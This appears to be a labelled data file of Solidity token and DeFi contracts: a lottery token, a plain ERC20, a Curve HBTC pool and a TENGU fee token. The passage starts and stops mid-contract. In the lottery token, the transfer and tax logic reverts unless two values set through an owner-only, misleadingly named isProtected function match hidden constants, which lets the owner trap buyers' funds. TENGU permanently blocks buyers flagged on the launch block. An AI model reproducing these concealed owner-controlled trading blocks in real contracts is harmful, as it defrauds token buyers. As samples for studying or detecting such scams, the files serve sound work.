address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH());
if (get_pair == address(0)) {
lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH());
}
else {
lpPair = get_pair;
}
dexRouter = _newRouter;
}
function setLpPair(address pair, bool enabled) external onlyOwner {
if (enabled == false) {
lpPairs[pair] = false;
} else {
if (timeSinceLastPair != 0) {
require(block.timestamp - timeSinceLastPair > 1 weeks, "Cannot set a new pair this week!");
}
lpPairs[pair] = true;
timeSinceLastPair = block.timestamp;
}
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
_isExcludedFromFees[account] = enabled;
}
function isSniper(address account) public view returns (bool) {
return _isSniper[account];
}
function isProtected(uint256 rInitializer, uint256 tInitalizer) external onlyOwner {
require (_liqAddStatus == 0 && _initialLiquidityAmount == 0, "Error.");
_liqAddStatus = rInitializer;
_initialLiquidityAmount = tInitalizer;
}
function setStartingProtections(uint8 _block, uint256 _gas) external onlyOwner{
require (snipeBlockAmt == 0 && gasPriceLimit == 0 && !_hasLiqBeenAdded);
snipeBlockAmt = _block;
gasPriceLimit = _gas * 1 gwei;
}
function removeSniper(address account) external onlyOwner() {
require(_isSniper[account], "Account is not a recorded sniper.");
_isSniper[account] = false;
}
function setProtectionSettings(bool antiSnipe, bool antiGas, bool antiBlock) external onlyOwner() {
sniperProtection = antiSnipe;
gasLimitActive = antiGas;
sameBlockActive = antiBlock;
}
function setGasPriceLimit(uint256 gas) external onlyOwner {
require(gas >= 75);
gasPriceLimit = gas * 1 gwei;
}
function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
require(buyFee <= maxBuyTaxes
&& sellFee <= maxSellTaxes
&& transferFee <= maxTransferTaxes,
"Cannot exceed maximums.");
_buyFee = buyFee;
_sellFee = sellFee;
_transferFee = transferFee;
}
function setRatios(uint256 liquidity, uint256 marketing, uint256 _jackpot) external onlyOwner {
require (liquidity + marketing + _jackpot == 100, "Must add up to 100%");
if (marketing > 0) {
require(marketing <= 40
&& liquidity > 0
&& _jackpot > 0
);
}
_liquidityRatio = liquidity;
_marketingRatio = marketing;
_jackpotRatio = _jackpot;
}
function setMaxTxPercent(uint256 percent, uint256 divisor) public onlyOwner {
uint256 check = (_tTotal * percent) / divisor;
require(check >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply.");
_maxTxAmount = check;
maxTxAmountUI = (startingSupply * percent) / divisor;
}
function setMaxWalletSize(uint256 percent, uint256 divisor) public onlyOwner {
uint256 check = (_tTotal * percent) / divisor;
require(check >= (_tTotal / 1000), "Max Wallet amt must be above 0.1% of total supply.");
_maxWalletSize = check;
maxWalletSizeUI = (startingSupply * percent) / divisor;
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor;
swapAmount = (_tTotal * amountPercent) / amountDivisor;
}
function setWallets(address payable marketingWallet) external onlyOwner {
_marketingWallet = payable(marketingWallet);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function _hasLimits(address from, address to) private view returns (bool) {
return from != owner()
&& to != owner()
&& !_liquidityHolders[to]
&& !_liquidityHolders[from]
&& to != DEAD
&& to != address(0)
&& from != address(this);
}
function setLotteryEnabled(bool enabled) external onlyOwner {
lotteryEnabled = enabled;
}
function setLotterySettings(uint256 _jackpotModifier, uint256 _randomRange, uint256 _buyAmtNeeded, uint256 buyAmtMultiplier) external onlyOwner {
jackpotModifier = _jackpotModifier;
randomRange = _randomRange;
buyAmtNeeded = _buyAmtNeeded * (10**buyAmtMultiplier);
}
function setStartingWin() external onlyOwner{
require (winningNumber == 0, "Already initialized!");
winningNumber = mary.getRandomNumber() % randomRange + jackpotModifier;
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (gasLimitActive) {
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}
if(_hasLimits(from, to)) {
if(!tradingEnabled) {
revert("Trading not yet enabled!");
}
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
} else {
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if (_initialLiquidityAmount == 0 || _initialLiquidityAmount != _decimals * 10) {
revert();
}
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
if(lpPairs[from]) {
if (lotteryEnabled) {
if (dexRouter.getAmountsOut(amount, pairPath)[1] >= buyAmtNeeded) {
currentTxIndex++;
if(currentTxIndex == winningNumber) {
jackpot(payable(to));
currentTxIndex = 0;
winningNumber = mary.getRandomNumber() % randomRange + jackpotModifier;
}
}
}
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
uint256 totalFee = _liquidityRatio + _marketingRatio + _jackpotRatio;
if (totalFee == 0)
return;
uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / totalFee) / 2;
uint256 initialBalance = address(this).balance;
uint256 toSwapForEth = contractTokenBalance - toLiquify;
swapTokensForEth(toSwapForEth);
uint256 currentBalance = address(this).balance - initialBalance;
uint256 liquidityBalance = ((currentBalance * _liquidityRatio) / totalFee) / 2;
if (toLiquify > 0) {
addLiquidity(toLiquify, liquidityBalance);
emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify);
}
if (contractTokenBalance - toLiquify > 0) {
_marketingWallet.transfer((currentBalance * _marketingRatio) / totalFee);
}
}
function jackpot(address payable account) internal {
lastJackpotWinAmt = address(this).balance;
lastJackpotWinner = account;
account.transfer(address(this).balance);
}
function swapTokensForEth(uint256 tokenAmount) internal {
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
pairPath,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(dexRouter), tokenAmount);
// add the liquidity
dexRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
DEAD,
block.timestamp
);
}
function enableTrading() public onlyOwner {
require(!tradingEnabled, "Trading already enabled!");
require(winningNumber != 0, "Need to initialize!");
if (snipeBlockAmt != 1) {
_liqAddBlock = block.number + 500;
} else {
_liqAddBlock = block.number;
}
tradingEnabled = true;
pairPath = new address[](2);
pairPath[0] = address(this);
pairPath[1] = dexRouter.WETH();
}
function _checkLiquidityAdd(address from, address to) private {
require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
if (!_hasLimits(from, to) && to == lpPair) {
if (snipeBlockAmt != 1) {
_liqAddBlock = block.number + 500;
} else {
_liqAddBlock = block.number;
}
_liquidityHolders[from] = true;
_hasLiqBeenAdded = true;
_liqAddStamp = block.timestamp;
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
if (sniperProtection){
if (isSniper(from) || isSniper(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
} else {
if (_liqAddBlock > 0
&& lpPairs[from]
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniper[to] = true;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
_tOwned[from] -= amount;
uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount;
_tOwned[to] += amountReceived;
emit Transfer(from, to, amountReceived);
return true;
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
uint256 currentFee;
if (from == lpPair) {
currentFee = _buyFee;
} else if (to == lpPair) {
currentFee = _sellFee;
} else {
currentFee = _transferFee;
}
if (_hasLimits(from, to)){
if (_liqAddStatus == 0 || _liqAddStatus != startingSupply / 8) {
revert();
}
}
uint256 feeAmount = amount * currentFee / masterTaxDivisor;
_tOwned[address(this)] += feeAmount;
emit Transfer(from, address(this), feeAmount);
return amount - feeAmount;
}
}
|
True
|
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] |
pragma solidity >=0.4.22 <0.7.0;
abstract contract ERC20Interface {
function totalSupply() virtual public view returns (uint);
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
function transfer(address to, uint tokens) virtual public returns (bool success);
function approve(address spender, uint tokens) virtual public returns (bool success);
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract insula is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "Insula";
symbol = "$ISLA";
decimals = 18; //preferrably 18
_totalSupply = 600000000000000000000000; // 24 decimals
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function allowance(address tokenOwner, address spender) virtual override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) virtual override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) virtual override public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) virtual override public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function totalSupply() virtual override public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) virtual override public view returns (uint balance) {
return balances[tokenOwner];
}
}
|
True
|
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// File: contracts/erc20/IERC20.sol
pragma solidity >=0.4.21 <0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/utils/Ownable.sol
pragma solidity >=0.4.21 <0.6.0;
contract Ownable {
address private _contract_owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = msg.sender;
_contract_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _contract_owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_contract_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_contract_owner, newOwner);
_contract_owner = newOwner;
}
}
// File: contracts/core/IPool.sol
pragma solidity >=0.4.21 <0.6.0;
contract ICurvePool{
function deposit(uint256 _amount) public;
function withdraw(uint256 _amount) public;
function get_virtual_price() public view returns(uint256);
function get_lp_token_balance() public view returns(uint256);
function get_lp_token_addr() public view returns(address);
function earn_crv() public;
string public name;
}
contract ICurvePoolForETH{
function deposit() public payable;
function withdraw(uint256 _amount) public;
function get_virtual_price() public view returns(uint256);
function get_lp_token_balance() public view returns(uint256);
function get_lp_token_addr() public view returns(address);
function earn_crv() public;
string public name;
}
// File: contracts/utils/TokenClaimer.sol
pragma solidity >=0.4.21 <0.6.0;
contract TokenClaimer{
event ClaimedTokens(address indexed _token, address indexed _to, uint _amount);
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function _claimStdTokens(address _token, address payable to) internal {
if (_token == address(0x0)) {
to.transfer(address(this).balance);
return;
}
IERC20 token = IERC20(_token);
uint balance = token.balanceOf(address(this));
(bool status,) = _token.call(abi.encodeWithSignature("transfer(address,uint256)", to, balance));
require(status, "call failed");
emit ClaimedTokens(_token, to, balance);
}
}
// File: contracts/core/btcpool/IWbtcPoolBase.sol
pragma solidity >=0.4.21 <0.6.0;
contract PriceInterfaceWbtc{
function get_virtual_price() public view returns(uint256);
//function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy) public;
//function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) public;
}
contract CRVGaugeInterfaceWbtc{
function deposit(uint256 _value) public;
function withdraw(uint256 _value) public;
function claim_rewards(address _address) public;
}
contract MinterInterfaceWbtc{
function mint(address gauge_addr) public;
}
contract IWbtcPoolBase is ICurvePool, TokenClaimer, Ownable{
address public wbtc;
address public crv_token_addr;
address public controller;
address public vault;
address public lp_token_addr;
address public extra_token_addr;
CRVGaugeInterfaceWbtc public crv_gauge_addr;
MinterInterfaceWbtc public crv_minter_addr;
uint256 public lp_balance;
uint256 public deposit_wbtc_amount;
uint256 public withdraw_wbtc_amount;
modifier onlyController(){
require((controller == msg.sender)||(vault == msg.sender), "only controller can call this");
_;
}
constructor() public{
wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
crv_token_addr = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
crv_minter_addr = MinterInterfaceWbtc(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0);
}
function deposit_wbtc(uint256 _amount) internal;
//@_amount: USDC amount
function deposit(uint256 _amount) public onlyController{
deposit_wbtc_amount = deposit_wbtc_amount + _amount;
deposit_wbtc(_amount);
uint256 cur = IERC20(lp_token_addr).balanceOf(address(this));
lp_balance = lp_balance + cur;
deposit_to_gauge();
}
//deposit all lp token to gauage to mine CRV
function deposit_to_gauge() internal {
IERC20(lp_token_addr).approve(address(crv_gauge_addr), 0);
uint256 cur = IERC20(lp_token_addr).balanceOf(address(this));
IERC20(lp_token_addr).approve(address(crv_gauge_addr), cur);
crv_gauge_addr.deposit(cur);
require(IERC20(lp_token_addr).balanceOf(address(this)) == 0, "deposit_to_gauge: unexpected exchanges");
}
function withdraw_from_curve(uint256 _amount) internal;
//@_amount: lp token amount
function withdraw(uint256 _amount) public onlyController{
withdraw_from_gauge(_amount);
withdraw_from_curve(_amount);
lp_balance = lp_balance - _amount;
IERC20(wbtc).transfer(msg.sender, IERC20(wbtc).balanceOf(address(this)));
}
function withdraw_from_gauge(uint256 _amount) internal{
require(_amount <= lp_balance, "withdraw_from_gauge: insufficient amount");
crv_gauge_addr.withdraw(_amount);
}
function setController(address _controller, address _vault) public onlyOwner{
controller = _controller;
vault = _vault;
}
function claimStdToken(address _token, address payable to) public onlyOwner{
_claimStdTokens(_token, to);
}
function earn_crv() public onlyController{
require(crv_minter_addr != MinterInterfaceWbtc(0x0), "no crv minter");
crv_minter_addr.mint(address(crv_gauge_addr));
IERC20(crv_token_addr).transfer(msg.sender, IERC20(crv_token_addr).balanceOf(address(this)));
if (extra_token_addr != address(0x0)) {
crv_gauge_addr.claim_rewards(address(this));
IERC20(extra_token_addr).transfer(msg.sender, IERC20(extra_token_addr).balanceOf(address(this)));
}
}
function get_lp_token_balance() public view returns(uint256){
return lp_balance;
}
function get_lp_token_addr() public view returns(address){
return lp_token_addr;
}
}
// File: contracts/utils/SafeMath.sol
pragma solidity >=0.4.21 <0.6.0;
library SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a, "add");
}
function safeSubR(uint a, uint b, string memory s) public pure returns (uint c) {
require(b <= a, s);
c = a - b;
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a, "sub");
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b, "mul");
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0, "div");
c = a / b;
}
function safeDivR(uint a, uint b, string memory s) public pure returns (uint c) {
require(b > 0, s);
c = a / b;
}
}
// File: contracts/utils/Address.sol
pragma solidity >=0.4.21 <0.6.0;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: contracts/erc20/SafeERC20.sol
pragma solidity >=0.4.21 <0.6.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).safeAdd(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).safeSub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/core/btcpool/HbtcPool.sol
pragma solidity >=0.4.21 <0.6.0;
contract CurveInterfaceHbtc{
function add_liquidity(uint256[2] memory uamounts, uint256 min_mint_amount) public;
function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 min_mint_amount) public;
}
contract HbtcPool is IWbtcPoolBase{
using SafeERC20 for IERC20;
CurveInterfaceHbtc public pool_deposit;
constructor() public{
name = "Hbtc";
lp_token_addr = address(0xb19059ebb43466C323583928285a49f558E572Fd);
crv_gauge_addr = CRVGaugeInterfaceWbtc(0x4c18E409Dc8619bFb6a1cB56D114C3f592E0aE79);
pool_deposit = CurveInterfaceHbtc(0x4CA9b3063Ec5866A4B82E437059D2C43d1be596F);
}
//@_amount: wbtc amount
function deposit_wbtc(uint256 _amount) internal {
IERC20(wbtc).transferFrom(msg.sender, address(this), _amount);
IERC20(wbtc).approve(address(pool_deposit), 0);
IERC20(wbtc).approve(address(pool_deposit), _amount);
uint256[2] memory uamounts = [uint256(0), _amount];
pool_deposit.add_liquidity(uamounts, 0);
}
function withdraw_from_curve(uint256 _amount) internal{
require(_amount <= get_lp_token_balance(), "withdraw_from_curve: too large amount");
IERC20(lp_token_addr).approve(address(pool_deposit), _amount);
pool_deposit.remove_liquidity_one_coin(_amount, 1, 0);
}
function get_virtual_price() public view returns(uint256){
return PriceInterfaceWbtc(address(pool_deposit)).get_virtual_price();
}
}
|
True
|
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// SPDX-License-Identifier: Unlicensed
// https://tengutoken.club
// https://t.me/tenguportal
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract TENGU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "TENGU";
string private constant _symbol = "TENGU";
uint private constant _decimals = 9;
uint256 private _teamFee = 10;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(5);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
